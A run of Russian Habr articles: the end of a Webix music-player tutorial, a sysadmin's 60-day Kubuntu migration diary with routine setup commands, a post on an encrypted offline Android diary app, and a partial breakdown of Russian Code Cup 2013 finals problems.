выполняется в тот момент, когда пользователь выбирает новый элемент в дереве. Когда это происходит, выполняется код, помещенный в тело функции. В нашем случае происходит следующее: строка `selected = $$("myTree").getSelectedId();` присваивает переменной `id` выбранного в данный момент элемента дерева. Для папки это будет цифра, соответствующая ее номеру в иерархии, а для альбома — имя массива, содержащего информацию о нем. Поскольку выводить на экран информацию о папке в наши планы не входит, сперва нужно проверить, не является ли возвращенное значение цифрой: `if (isNaN(selected))`. Если это не цифра (а нам только этого и нужно), то список обновляется с помощью этого кода:
```
$$("myList").clearAll();
$$("myList").define("data", selected);
$$("myList").refresh();
```
Сначала список очищается, затем инициализируется измененным значением `selected` с помощью метода `define()`, который принимает два значения: свойство, которое нужно изменить, и новое значение для этого свойства. Затем содержимое таблицы обновляется.
И, собственно, результат:
Теперь можно переключаться между разными элементами дерева и данные в таблице при этом будут обновляться.
Полученные знания о взаимодействии элементов понадобятся на следующем этапе, на котором будет добавлена возможность просматривать обложки альбомов.
### Для визионеров
Ну что ж, придется попотеть еще немного, чтобы увидеть обложки. Для этого понадобится новая переменная, которая будет содержать путь к обложке по-умолчанию:
```
var coverPath = "imgs/oceanData.jpg";
```
Поскольку в этом случае, как и в предыдущем, вид приложения меняется в соответствии с изменениями в дереве, код необходимый для смены обложек также нужно добавлять в код дерева. Сразу после `$$("myList").refresh();` добавим такие строки:
```
coverPath = "imgs/" + selected + ".jpg"
$$("myCover").define("data", {src: coverPath});
```
Названия файлов обложек совпадают со значениями `id` соответствующих альбомов, а значит, можно снова использовать значение переменной `selected` по аналогии с предыдущим шагом. Затем нужно изменить состояние контейнера `myCover`, в котором отображается обложка. Для этого был использован уже знакомый метод `define()`.
Осталось заставить соответствующий контейнер отображать картинку. Для этого строку `template:"Album Art", width: 250, height: 250` нужно заменить на:
```
width: 250, height: 250, id:"myCover", data: {src:coverPath},
template: function (obj) {
return ''
}
```
Этот пример не так очевиден на первый взгляд. Давайте разбираться. `width` и `height` были установлены заранее, ничего нового тут нет; `id` нужен для доступа к содержимому контейнера — тоже без сюрпризов; а вот дальше начинается самое интересное: свойство `data` определяет содержимое контейнера. Значение `src` соответствует пути к файлу изображения, и именно его нужно изменить, чтобы изменилась обложку. Последующая функция нужна для генерации HTML-кода, и ее без лишней нужды лучше не трогать.
Теперь проверим, как работает отображение обложек. Внешний вид по-умолчанию:
Внешний вид после выбора нового элемента дерева:
Обложки меняются, как и задумано. Осталось добавить кнопки управления.
### Берем приложение под контроль
Самая ответственная часть нашего примера. Добавление кнопок. Поскольку наш плеер минималистичен донельзя, обойтись можно тремя кнопками: `Previous`, `Play / Pause` и `Next`.
Поскольку некоторый опыт работы с Webix уже имеется, этот последний штрих не будет таким уж сложным. Для добавления кнопок нужно заменить `template:"Controls", height: 60` на:
```
cols: [ {view:"button", value:"< Previous"}, {view:"button", value:"Play / Pause"}, {view:"button", value:"Next >"}]
```
Здесь создаются три столбца, в каждый из которых добавляется по кнопочке.
Вот результат:
Итоги
-----
Ну что тут можно сказать. Самое сложное — создание интерфейса с некоторой интерактивностью — позади. Пустяки, вроде возможности воспроизведения файлов, каждый сможет реализовать сам. Для того, чтобы создать отзывчивый(responsive) интерфейс, мне не пришлось возиться с css-кодом. Разработчики уже повозились с ним за меня, а мне осталось только использовать свойства `width` и `height`, чтобы придать элементам нужный размер.
На этом, пожалуй, всё… Или..? Ах, да! Чуть не забыл о скинах. Прикрутить их к готовому проекту несложно, поэтому много времени это не займет.
### Рестайлинг на лету
В каталоге `skins` можно обнаружить вот такой вот список доступных вариантов:
* aircompact.css
* clouds.css
* glamour.css
* metro.css
* touch.css
* air.css
* compact.css
* flat.css
* light.css
* terrace.css
* web.css
Для того, чтобы попробовать тот, который показался наиболее заманчивым, нужно просто подключить соответствующую таблицу стилей к HTML-файлу. Например, добавив
```
```
можно изменить вид приложения на такой:
Проверить работу приложения самому можно [здесь](http://derrvish.github.io/webix-demo-player/). Если хотите поэкспериментировать, добавить новых исполнителей или новые столбцы для плейлиста, исходный код доступен на [GitHub](https://github.com/derrvish/webix-demo-player).
Ну а на этом, пожалуй, действительно все. Надеюсь, статья помогла вам освоить основы работы с Webix. Продолжить погружение вам поможет доступная и подробная [документация](http://docs.webix.com/) с множеством примеров.
Адьо! | https://habr.com/ru/post/256505/ | null | ru | null |
# Начни с себя, или 60 дней Kubuntu
В продолжении предыдущей статьи «[Как Prius, но только на Linux](https://habr.com/company/pc-administrator/blog/416569/)» мне хотелось бы рассказать о собственном опыте смены рабочей среды. Перед тем как переводить офисные рабочие станции, всегда лучше ставить эксперименты на себе. И я решил поставить себе Linux на пару месяцев. В качестве операционной системы для экспериментов был выбран свежий дистрибутив Kubuntu 18.04, а о подводных камнях, с которыми я столкнулся и о хрониках эксперимента расскажу под катом.
Этот материал будет полезен тем, кому любопытно попробовать Linux в повседневности, но лень наступать сразу на все грабли.
День первый. Удаленный доступ
=============================
Как водится — сначала делаем лазейку, чтобы внезапное желание поработать из дома не осталось неудовлетворенным. Конечно, SSH был, есть и будет есть, но хочется еще и картинки посмотреть.
Прошло много лет с того, как я настраивал vnc-сервер на рабочей станции на Linux. Стало интересно — изменилось ли что с тех пор. После некоторого изучения меня заинтересовал продукт **krfb**, что глубоко интегрирован в экосистему KDE. Действительно, настройки выглядят почти как у Mac и никаких конфигов.
*Интерфейс настройки krfb.*
И все было хорошо, пока не выяснилось, что при перезагрузке пароли не сохраняются. Проблема оказалась в том, что **krfb** действительно глубоко интегрирован в KDE и хранит настройки в kde-wallet. Поэтому его стоит включить.
Еще один нюанс — кошелек с хранилищем настроек должен быть без пароля. В противном случае после перезагрузки нужно будет ввести пароль на доступ к кошельку руками.
«Все-таки еще не Mac, — подумал я, — но пользоваться можно». Конечно, после удобств современного RDP пользоваться VNC непривычно — очень не хватает переноса файлов через буфер обмена. Но для обычных нужд уже вполне достаточно, что не может не радовать.
День второй. И монитор тоже второй.
===================================
Сегодня решил подключить второй монитор, и каково же было мое удивление, когда я не увидел изображения. Вот так бывает: штатные драйверы не всегда заводятся с пол-оборота при двух и более мониторах.
*Алло, где мой монитор?*
Причина в том, что все еще совместимые драйверы с открытым исходным кодом иногда работают… ну, не фонтан они работают. Решение остается таким же, как и много лет назад — установка проприетарных драйверов. Благо делается это все так же просто, как и раньше: нужно зайти в «Параметры системы», «Диспетчер драйверов», после чего утилита просканирует систему и предложит установить проприетарные драйверы, если это необходимо.
Другим вариантом будет установка драйверов сразу из менеджера пакетов.
*Графический интерфейс менеджера пакетов.*
Возможно, предварительно понадобится добавить репозиторий с проприетарными драйверами. Делается это командой:
```
sudo add-apt-repository ppa:graphics-drivers/ppa
```
И не забываем его обновить:
```
sudo apt update
```
После установки проприетарных драйверов можно без проблем настроить поведение мониторов. Заодно видеокарта начнет ускорять работу в браузере. В хромоподобных это можно проверить, открыв в адресной строке [chrome://gpu](http://chrome://gpu).
*Немного помощи в браузинге от видеокарты.*
Что ж, немного стабильности в плане установки проприетарных драйверов в наше сумасшедшее время не помешает. Продолжаем эксперимент.
День семнадцатый. День Рождения. Часть первая: мышь.
====================================================
Коллеги подарили мне многокнопочную мышь — [Logitech Performance Mouse MX](http://support.logitech.com/ru_ru/product/performance-mouse-mx) (и где они откопали этот антиквариат!). Мышь занятная, но часть кнопок с ходу не заработала.
*Виновник торжества.*
В принципе основные кнопки работали корректно. Не работала только кнопка под большим пальцем, что показывает все приложения, и кнопка Zoom, которая работает для масштабирования а-ля «Ctrl, только зажимать не нужно». С кнопкой под большим пальцем все просто. Достаточно зайти в **Параметры системы — Комбинации клавиш — Глобальные комбинации — Параметры системы** и там выбрать «Показать все окна с текущего рабочего стола». Далее нажать на нужную кнопку, которая скорее всего отобразится как Button 10 — и вуаля:
*Смотрим на все окна сразу по мановению пальца.*
С масштабированием оказалось чуть сложнее. Пришлось поставить две утилиты — **xbindkeys** и **xautomation**, — затем в домашней директории создать файл **.xbindkeysrc** следующего содержания:
```
"/usr/bin/xte 'keydown Control_L' &"
b:13
"/usr/bin/xte 'keyup Control_L' &"
Control + b:13
```
Теперь, если запустить xbindkeys командой **xbindkeys -n -v**, все должно работать как надо. Осталось только добавить утилиту в автозапуск любым удобным способом, например, через Автозапуск.
*Утилита настройки автозапуска в GUI.*
А мышку я потом продал. Я левша.
День восемнадцатый. День Рождения. Часть вторая: SSD
====================================================
От щедрот руководства мне была вручена SSD вдвое большего объема, и встал вопрос, как попроще перенести систему. Подключив свой опыт работы с серверами и чуть-чуть почитав, собрал варианты:
* копирование разделов при помощи dd с последующим их увеличением и возможной правкой загрузчика;
* использование сторонних средств для копирования вроде [Clonezilla](https://clonezilla.org/);
* копирование файлов руками, установка загрузчика специальной утилитой.
Безусловно, самым простым способом будет Clonezilla с опцией копирования device to device.
*Варианты работы Clonezilla.*
Live-CD — это просто и эффективно, но куда как интереснее использовать исключительно родную систему. Поэтому я решил действовать ручным копированием файлов. Также мне было интересно установить загрузчик не через тривиальный **grub-install**, а при помощи расхваленной на форумах Boot Repair.
Для начала надо создать таблицу разделов на новом диске, подмонтировать новый диск и скопировать нужные файлы. Можно, конечно, просто скопировать корень командой **cp -a**, а можно поступить чуть-чуть изящнее:
```
sudo rsync -a / /mnt/disk2/ --exclude sys --exclude proc --exclude dev --exclude tmp --exclude media --exclude mnt --exclude run
sudo mkdir sys proc dev tmp media mnt run
```
Первая команда скопирует нужные каталоги, вторая — создаст структуру системных каталогов.
Теперь очередь за загрузчиком. Волшебная утилита отсутствует в стандартной системе, поэтому нужно ее установить, добавив нужный репозиторий:
```
sudo apt-add-repository ppa:yannubuntu/boot-repair
sudo apt-get update
sudo apt-get install -y boot-repair
```
Запустить утилиту можно командой **boot-repair**.
> Все тоже самое можно сделать, загрузившись с Live-CD. Например, если данные перенесены, а загрузчик не работает.
Интерфейс утилиты довольно очевиден:
*Интерфейс Boot Repair.*
В теории можно использовать «Рекомендуемый способ», который прям делает все автоматом. Но лучше посмотреть в «Расширенные настройки», где уже можно и нужно указать нужный диск для установки загрузчика.
*Расширенные настройки.*
На удивление утилита отработала успешно, и можно теперь радоваться новой SSD.
День тридцать восьмой. Печать.
==============================
Да, не часто приходится мне печатать в повседневной работе: принтер понадобился только сейчас. Ближайший ко мне — это HP 1102, подключенный к Windows.
И проблема возникла даже не с драйверами — драйверы оказались в наличии «из коробки», так же как и утилиты для работы с принтерами HP под названием [hplip](https://developers.hp.com/hp-linux-imaging-and-printing). Проблема оказалась в том, что чья-то добрая душа опубликовала его под сетевым именем HP LaserJet Professional P1102 (не делайте так, пожалуйста!).
Утилита установки принтеров отказывалась принимать такое:
*Пробелы в названии? Отказать!*
Кавычки в разных вариантах тоже не приводили к победе. Решение оказалось простым — заменить пробел на %20, как в URL, чтобы получилось такое:
```
smb://name/HP%20LaserJet%20Professional%20P1102
```
Теперь все хорошо. Если вдруг нехорошо, то вместо Foomatic-драйвера можно поставить проприетарный, весь из себя закрытый. Но уже присутствующий в системе.
День шестидесятый. Итоги.
=========================
Эксперимент вышел занятным, испытал давно забытые ощущения от необходимости обращаться к гуглу по таким мелочам, как установка принтера.
Но на рабочем процессе другая операционная система практически не сказалась. Доступны все те же средства удаленного подключения к серверам и пользователям — даже [TeamViewer](https://www.teamviewer.com/ru/download/linux/) есть. И обновления ставятся спокойно и беззлобно в отличие от [Windows 10](https://habr.com/company/pc-administrator/blog/413395/). Хотя говорят, что не стоит просто так обновляться на мажорную версию (но это еще впереди).
Особенно мне понравилась утилита Kde Connect, которая дружит со смартфоном на Android в одной локальной сети. Даже ссылки в браузер большого ПК можно отправлять с телефона. Почти как экосистема Apple.
На фоне такого добра те подводные камни, с которыми я столкнулся, выглядят практически галькой.
**Расскажите о ваших подводных камнях при миграции на Linux дома и\или на работе.** | https://habr.com/ru/post/417997/ | null | ru | null |
# Как я перестал бояться и начал делиться секретами с телефоном
Не знаю как вы, а я – не могу сказать, что люблю, но вижу очень много пользы в интроспекции, или, по простому, самонаблюдении. Вот, допустим, позавчера я проснулся сам, не слишком рано, съел овсянки, выпил кофе без сахара, и весь мой день был очень продуктивным. А вчера я лёг спать поздно, да ещё и сон плохой снился не буду говорить про что, проснулся только по второму будильнику, не успел позавтракать перед работой, и весь день дальше был наперекосяк. Если такое повторяется несколько раз, наверно это какая-то закономерность, паттерн, и я мог бы подумать, что мне делать или не делать для того, чтобы мой день был продуктивным – но для этого обо всём этом надо помнить.
Помнить у компьютеров получается гораздо лучше, чем у людей. Главное, чтобы запомненное можно было извлечь, когда это нужно. Само собой напрашивается записать это куда-то в телефон, но куда? Казалось бы, есть куча приложений и сервисов, пиши не хочу. Но тут вдруг просыпается внутренний параноик и начинает задавать неудобные вопросы. А какая бизнес модель у этого сервиса? Если я напишу туда подробности про то, что мне приснилось в плохом сне, станут ли социальные сети показывать мне рекламу, напоминающую об этом? Или, допустим, если я страховой компании сказал, что я не пью вообще, а вчера, на самом деле, я не только лёг спать поздно, но ещё и перебрал слегка, узнает ли об этом страховая и подорожает ли моя страховка? Неспокойно, короче.
Да, есть не очень многочисленные приложения, которые работают оффлайн, то есть все данные хранятся на телефоне. Даёт ли это какие-то гарантии приватности? Возможно, но едва ли от производителя ОС или телефона, потому что все данные хранятся в открытом виде. Хорошо, есть ли какие-то оффлайн приложения, которые шифруют хранимые данные (или, как это называют по-английски, “encryption at rest”), и делают это относительно удобным способом? И вот тут меня ожидал большой облом. Ну что же, как говорится, “хочешь что-то сделать хорошо – сделай это сам”. Так возник мой проект [“Дневник Параноика” (“Paranoid Diary”)](https://play.google.com/store/apps/details?id=biz.ftsdesign.paranoiddiary&hl=ru&gl=US). Ну и, поскольку лично я предпочитаю Андроид, проект возник именно на этой платформе.
Небольшое лирическое отступление. Вскоре после того, как я опубликовал приложение в Google Play, я обнаружил, что название, помимо прочего, привлекает и настоящую целевую аудиторию (настоящих параноиков), так что советую быть осторожнее с названиями :)
Приложение начинается с требований. Нереально хранить секреты от АНБ или ФСБ, но можно хотя бы защититься от произвола IT гигантов, неизбирательного дата майнинга и рекламы. А это значит, что необязательно тотально шифровать всё – достаточно шифровать текстовую часть дневника. У зашифрованного текста есть одна проблема – сложно реализовать поиск по нему - нам же надо не только запоминать, но и вспоминать. Поэтому пригодится поиск не по тексту, а по меткам (#тегам). Текст самих меток тоже можно зашифровать, и искать по ничего не говорящему ID. Помимо этого, хотелось бы уметь искать записи по дате (это не секрет), и, если разрешено, по географическим координатам (“о чём я думал, или что я делал в этом месте раньше”).
Дальше всё было просто. Из требований логично образовалось решение – база SQLite, в которой зашифрованы только текстовые поля – текст записей и названия меток. Без ключа можно только увидеть, что во время Т, и, может быть, в точке с координатами широта, долгота была сделана некая запись, которой были присвоены метки 1, 2, 3. Естественно, если все записи просто шифруются одним ключом, то одинаковые записи имели бы одинаковый шифротекст. Если злоумышленник может предположить содержание записи, это могло бы нас скомпрометировать, поэтому каждую запись надо обязательно посолить ([“соль”, “salt”](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%BB%D1%8C_(%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F)) – это такой криптографический термин) чем-нибудь случайным, тогда даже для одинаковых записей шифротекст будет разным.
После этого остались мелочи. Естественно, надо вводить пароль для расшифровки, и его нельзя нигде хранить – только в памяти, пока приложение работает, и пользователь активен. Надо предусмотреть создание резервной копии и восстановление из неё – этот вопрос решается созданием зашифрованного zip архива. Ещё есть полезная опция, которая часто используется в банковских приложениях, которая запрещает ОС запоминать превью экрана или делать снимки с экрана (`getWindow().addFlags(WindowManager.LayoutParams.FLAG_SECURE)`). Иначе, даже если после неактивности пользователя доступ был закрыт, при пролистывании приложений покажется последний активный экран со всем содержимым.
В результате, так и получился [“Дневник Параноика”](https://play.google.com/store/apps/details?id=biz.ftsdesign.paranoiddiary&hl=ru&gl=US), которым я, и некоторые другие пользователи, относительно счастливо пользуются уже больше двух лет - и, наверно, уже настало время поделиться этим проектом с широкой публикой. Конечно, ни один параноик не станет доверять неизвестному коду, поэтому [весь код полностью открыт](https://github.com/ftsdesign/paranoid-diary) для аудита, самостоятельной сборки или кастомизации. Счастливой паранойи! | https://habr.com/ru/post/665888/ | null | ru | null |
# Russian Code Cup 2013: разбираем задачи финала
23 сентября 2013 года состоялся финал чемпионата по программированию Russian Code Cup 2013.
Первое место занял Петр Митричев (кстати, чемпион RCC 2011). Второй приз взял Геннадий Короткевич, третье — Дмитрий Джулгаков.
Сегодня мы публикуем подробный разбор шести задач, которые были предложены финалистам RCC (спойлер: одна из них так и осталась нерешенной). В программе — сортировка невиданной быстроты, борьба с капибарным гриппом, путешествия роботов и многое другое.
#### Задача А. Терпение
**Скрытый текст****Идея**: Артем Васильев
**Реализация**: Артем Васильев
**Разбор**: Артем Васильев
**Условие**:
Ограничение по времени: 2 секунды
Ограничение по памяти: 256 мегабайт
Хулиганы Петя и Вася сидят на невыносимо скучном уроке. Для того чтобы как-то развлечься, они решили поиграть с терпением учителя. Уровень недовольства учителя ребятами выражается целым числом x. Петя и Вася по очереди совершают различные мелкие и крупные шалости, Петя совершает шалость первым. После мелкой шалости уровень недовольства учителя увеличивается на 1, после крупной шалости — увеличивается в 2 раза. Тот ученик, после шалости которого недовольство учителя становится больше чем n, получает выговор от учителя и приходит после уроков с родителями к директору. Естественно, ни Вася, ни Петя такому исходу не рады, и поэтому каждый из них действует оптимально, чтобы избежать этого.
Ребята играют в эту игру каждый день. С каждым днем начальное недовольство учителя растет: в первый день оно равнялось 1, во второй день — 2, и так далее. В i-й день изначальное недовольство учителя учениками равно i. Всего в году ровно n учебных дней, то есть в последний день учебы недовольство учителя равно n и любая шалость учеников мгновенно выводит его из себя.
Отличнику Коле тоже очень скучно на уроке, ведь он уже знает все, что рассказывает учитель. Коля заметил странную игру Пети и Васи и легко выяснил, кто пойдет за родителями в каждый учебный день. Однажды Коля подметил, что Вася пошел за родителями ровно в k-й раз. Определите, в какой по счету учебный день это произошло?
Например, пусть n = 4. В первый день начальное недовольство учителя равно 1. Какую бы шалость ни совершил Петя, недовольство учителя станет равно 2. После этого Вася совершает крупную шалость, и недовольство учителя становится равно 4. Теперь, какую бы шалость ни совершил Петя, он получит выговор и пойдет за родителями. Во второй учебный день начальное недовольство учителя равно 2. Теперь Петя совершает крупную шалость и вынуждает Васю получить выговор. В третий учебный день Петя добивается того же эффекта, совершив мелкую шалость. В последний же — четвертый — учебный день Петя получит выговор, поскольку он должен совершить шалость первым. Таким образом, если Коля видит, что Вася пошел за родителями в первый раз, можно сделать вывод, что сейчас второй учебный день, а если Вася пошел за родителями во второй раз, то сейчас третий учебный день.
Формат входных данных
Первая строка содержит целое число T (1 ≤ T ≤ 105) — количество тестов. Каждая из следующих T строк содержат описание очередного теста: 2 целых числа n и k (1 ≤ n, k ≤ 1018).
Формат выходных данных
Для каждого теста выведите единственное число: a — день, в который Вася пошел за родителями в k-й раз, либо −1, если такой ситуации произойти не может. Выводите каждое из чисел в отдельной строке.
**Разбор:**
В условии была описана игра для двух участников. Состояние игры описывалось одним числом x, и игроки по очереди могли сделать один из двух ходов: заменить x на x+1 либо на 2x. Тот игрок, который первым написал число большее, чем n, проиграл. Следовало найти k по возрастанию числа x, такое, чтобы первый игрок имел выигрышную стратегию, если начальное число равнялось x.
Поскольку ограничения на n были достаточно большие, надо было понять структуру чисел, являющихся выигрышными позициями для игрока, который начинает из такого состояния. Мы покажем, что это множество представляется в виде объединения O(log n) отрезков подряд идущих чисел, в каждом из которых либо каждое число, либо каждое второе число — это выигрышная позиция для первого игрока.
Будем строить это множество рекурсивно. Пусть процедура F(n) возвращает множество всех таких отрезков, и при этом выполняется инвариант: игрок, сделавший ход в число большее, чем n, проигрывает.
Рассмотрим два случая. Пусть n — нечетное. Тогда любое четное число от 2 до n-1 — это выигрышная позиция, а любое нечетное — проигрышная. Покажем, что первый игрок всегда может сделать так, что он ходит из четной позиции, а его противник — из нечетной. Действительно, если первый игрок переводит x в число x+1, то второй игрок может перевести x+1 только в четное число. Осталось лишь заметить, что число n нечетное, и поэтому первый игрок всегда имеет ход, который не приводит к его поражению. Продолжая по индукции, получаем, что если первый игрок начинает с четного числа, то у него есть выигрышная стратегия. В случае, когда первый игрок начинает с нечетного числа, второй игрок использует ту же стратегию и выигрывает.
Теперь пусть n четное. Все нечетные позиции, которые больше n/2, выигрышны, поскольку удвоение такого числа сразу приводит к поражению; в таком случае выигрышность позиции определяется четностью числа оставшихся ходов. Заметим также, что позиция n/2 выигрышна, поскольку из n/2 можно получить n, и другой игрок обязательно превышает n своим следующим ходом.
Рассмотрим такое число l, которое будет больше, чем n/2; при этом позиция l является проигрышной. В зависимости от четности числа n/2 l равно либо n/2 + 1, либо n/2 + 2. Теперь рассмотрим все числа от l/2 до n/2 включительно. Все эти позиции будут выигрышными, поскольку если удвоить любое из этих чисел, получится число, большее n/2 и четное, а такая позиция проигрышна. Получили два отрезка, на первом из которых выигрышна каждая позиция, а на втором — каждая вторая.
Заметим, что остальные отрезки можно получить, вызвав F(l/2 — 1). Разбором случаев можно показать, что l/2 — 1 всегда равно n/4, округленному вниз. Убедимся в том, что требуемое свойство выполняется. Пусть x ≤ l/2 — 1. Тогда 2x ≤ l — 2 ≤ n/2, то есть все позиции, которые больше l/2 — 1, и в которые возможен ход из позиции, не превышающей l/2 – 1, являются выигрышными, и потому такой ход приведет к проигрышу.
При каждом рекурсивном вызове n уменьшается как минимум в 4 раза, поэтому программа работает за O(log n). После этого решить изначальную задачу становится просто. Так как все эти отрезки не пересекаются, можно пройтись по ним в возрастающем порядке и определять, попадает ли ответ в текущий отрезок. Если текущее k больше количества чисел на данном отрезке, то вычтем это количество из k и перейдем к следующему отрезку. Иначе мы можем получить k нужное нам число на этом отрезке и вывести его. Если такого отрезка не нашлось, следует вывести -1.
#### Задача B. Белоснежка и n гномов
**Скрытый текст****Идея**: Виталий Аксёнов
**Реализация**: Виталий Аксёнов, Николай Ведерников
**Разбор**: Николай Ведерников
Белоснежка дружит с n гномами, которых она пронумеровала от 1 до n. Известно, что рост i-го гнома равен hi сантиметров, рост каждого гнома положителен и не превышает n. Принцесса считает непустое подмножество гномов симпатичным, если сумма их номеров совпадает с их суммарным ростом. Требуется выяснить, существует ли симпатичное множество гномов, и если такое есть — вывести пример такого множества.
Формат входных данных
Первая строка содержит целое число t — количество тестов. Следующие 2t строк содержат t различных тестовых запросов. В первой строке запроса содержится n — количество гномов (1 ≤ n ≤ 106), во второй содержится n положительных чисел, не превосходящих n — рост гномов.
Сумма n по всем запросам не превышает 106.
Формат выходных данных
В случае существования ответа в первой строке нужно вывести количество гномов в симпатичном подмножестве, удовлетворяющем условию, а во второй строке нужно вывести через пробел номера выбранных жителей. В случае, если непустого симпатичного подмножества не существует, выведите −1.
**Разбор:**
Построим ориентированный граф из n вершин. Из вершины i будет выходить одно ребро в вершину ai. Если в этом графе существует цикл, то вершины, которые входят в него, будут входить и в набор, который требуется по условию задачи, так как сумма номеров вершин начал рёбер на цикле будет равна сумме номеров концов.
Пусть цикла в этом графе не существует. Тогда выберем любую вершину. Так как в графе цикла нет, то это ребро не ведет в неё саму. Переходим по ребру и оказываемся в другой вершине, из неё ребро не ведёт ни в первую, ни в саму себя, иначе бы цикл существовал. Действуя аналогично, мы окажемся в последней непосещённой вершине. Куда бы ни вело ребро из неё, мы получим цикл. Мы видим противоречие, следовательно, цикл есть всегда; отсюда вытекает, что всегда существует нужный нам набор.
Чтобы найти цикл, можно действовать согласно алгоритму, описанному выше: идти по ребрам, пока не окажемся в вершине, которую уже посетили. Это значит, что эта вершина на цикле. Из неё легко найти нужный нам цикл.
#### Задача C. Быстрая-пребыстрая сортировка
**Скрытый текст****Идея**: Николай Ведерников
**Реализация**: Андрей Комаров
**Разбор**: Андрей Комаров
**Условие**:
Ограничение по времени: 2 секунды
Ограничение по памяти: 256 мегабайт
Вам, должно быть, известен алгоритм быстрой сортировки. Рассмотрим некоторую его вариацию, сортирующую массив без повторяющихся элементов.
```
function qqsort(A: array of int): array of int
if isSorted(A):
return A
middle = pick(A)
aLess = elements of A less then middle
aGreater = elements of A greater then middle
return qqsort(aLess) + [middle] + qqsort(aGreater)
```
Для сортировки массива делается следующее: сначала проверяется, является ли он уже отсортированным. Если является, дальнейшие действия не требуются. В ином случае выбирается некоторый элемент массива, остальные разбиваются на те, которые меньше его и те, которые больше, после чего запускается сортировка для этих новых массивов. В новых массивах элементы оказываются в том же порядке, в котором они шли в исходном массиве.
Функция isSorted(a) проверяет, не отсортирован ли уже переданный ей аргументом массив. Функция pick возвращает некоторый элемент из массива, который ей передается в качестве аргумента. Она может вернуть любой из элементов массива.
Известно, что от того, насколько правильно выбран разделяющий элемент, существенно зависит быстродействие сортировки. Соответственно, в зависимости от возвращаемых функцией pick значений может меняться число действий, которые выполняются во время работы алгоритма. В качестве критерия минимизации будем использовать количество вызовов функции pick.
Задан массив из n различных целых чисел от 1 до n. Определите, какого минимального числа вызовов функции pick можно добиться при его сортировке, если при каждом вызове pick разрешается выбрать возвращаемое значение.
Например, если требуется отсортировать массив A = [1, 2, 6, 7, 5, 3, 4, 8, 9], то, если первый вызов функции pick вернет число 5, массив aLess будет равен [1, 2, 3, 4], а массив aGreater — [6, 7, 8, 9]. Соответственно, рекурсивные вызовы qqsort сразу выйдут, поскольку в них вызовы isSorted вернут true и массив будет отсортирован. Это оптимально, в этом случае функция pick вызывалась лишь 1 раз.
Формат входных данных
В первой строке задано количество тестов t. Далее в 2t строках заданы сами тесты. В первой строке описания теста задано положительное число n — размер массива. Во второй строке задан сам массив ai (1 ≤ ai ≤ n, если i ≠ j, то ai ≠ aj). Суммарный размер массивов во всех тестах не превышает 106.
Формат выходных данных
Для каждого теста выведите единственное число — минимальное число вызовов функции pick, которое может быть сделано при его сортировке с помощью функции qqsort.
**Разбор:**
В задаче была дана некоторая модификация алгоритма быстрой сортировки и требовалось для заданной перестановки найти наименьшее необходимое для её сортировки количество вызовов функции pick.
Обозначим за left(a, x) то, что в коде из условия называлось smaller — элементы массива a, строго меньшие x. Аналогично введём right(a, x) — элементы, бо́льшие x. Докажем несколько утверждений про left и right.
Если x ∈ a и a — множество идущих подряд натуральных чисел, то left(a, x) и right(a, x) — тоже множества идущих подряд чисел. Это верно, так как если a — множество целых чисел от L до R, то left(a, x) — множество целых чисел от L до x-1, а right(a, x) — множество целых чисел от x+1 до R.
Посмотрим на заданный массив a. Обозначим за w[i] позицию элемента i в a: w[a[i]] = i. Разобьём массив на цепочки увеличивающихся на 1 чисел так, чтобы элементы внутри одной цепочки в массиве шли подряд: добавим 1 в первую цепочку, далее, если w[1] < w[2], то добавим в неё 2, и т.д.
Например, chains([1, 2, 6, 7, 5, 3, 4, 8, 9]) = [ [1, 2, 3, 4], [5], [6, 7, 8, 9] ]. Посмотрим, что произойдёт с этими цепочками после разбиения по x. Разобьём на цепочки left(a, x) и right(a, x). Изучим left. right рассматривается аналогично. Рассмотрим взаимное расположение цепочки [c..d] ∈ chains(a) и x.
* x > d. В этом случае [c..d] ∈ chains(left(a, x))
* c < x. В этом случае [c..d] ∉ chains(left(a, x)). А также ни один элемент из [c..d] не представлен ни в одной цепочке из chains(left(a, x))
* x = d, x ≠ c. Здесь [c..d-1] ∈ chains(left(a, x))
* x = c, x ≠ d. Аналогично второму случаю, [c..d] ∉ chains(left(a, x))
* Наконец, последний случай: x = c = d. В этом случае ничто из цепочки [c..d] (которая, на самом деле, [c]) не попадает ни в chains(left(a, x)), ни в chains(right(a, x))
Посмотрев на эти случаи, можно заметить следующее: если два элемента когда-то были в одной цепочке, то они никогда не окажутся в разных цепочках одного сортируемого массива. Однако они могут оказаться в разных цепочках, но в рамках сортировки разных массивов. Например, a = [5, 2, 3, 4, 1], chains(a) = [ [1], [2, 3, 4], [5] ], x = 3, left(a, 3) = [2, 1], chains(left(a, 3)) = [ [1], [2] ], right(a, 3) = [5, 4],chains(right(a, 3)) = [ [4], [5] ]. Видно, что числа 2 и 4, бывшие сначала в одной цепочке [2, 3, 4], разошлись по разным, но при этом и сортируемые массивы разные ([2, 1] и [5, 4]).
Из этого можно сделать первое важное наблюдение: брать в качестве разделяющего элемент, не являющийся крайним в цепочке, не имеет смысла. Если взять вместо взятого из середины элемента какой-нибудь из крайних, ответ будет не хуже (так как элементы одной цепочки не могут стать элементами разных).
Опишем неформально то, чего хочется добиться. Имеем массив a. Построим по нему chains(a). В полученном наборе в качестве разделителя выгодно выбирать только концы цепочек. Для того чтобы получить отсортированный массив, необходимо устранить все зазоры между цепочками. Если изначально были цепочки [c..d] и [d+1..e], а в качестве разделяющего был выбран элемент d, то зазор (d..d+1) перестаёт нас волновать, так как все элементы левее него попали в один массив, а все, что правее — в другой. Таким образом устранился один зазор, а всего их надо устранить #chains(a) — 1, где # обозначает размер.
Пусть была не первая и не последняя цепочка длины 1: [c..d-1], [d], [d+1..e]. Возьмём d в качестве разделяющего элемента. Тогда, так как он крайний слева для цепочки [d], устранится зазор (d-1..d). Так как он же и крайний справа для этой же цепочки, устранится также и зазор (d..d+1). Таким образом, выбор единственного элемента некрайней цепочки в качестве разделяющего устранит сразу два зазора.
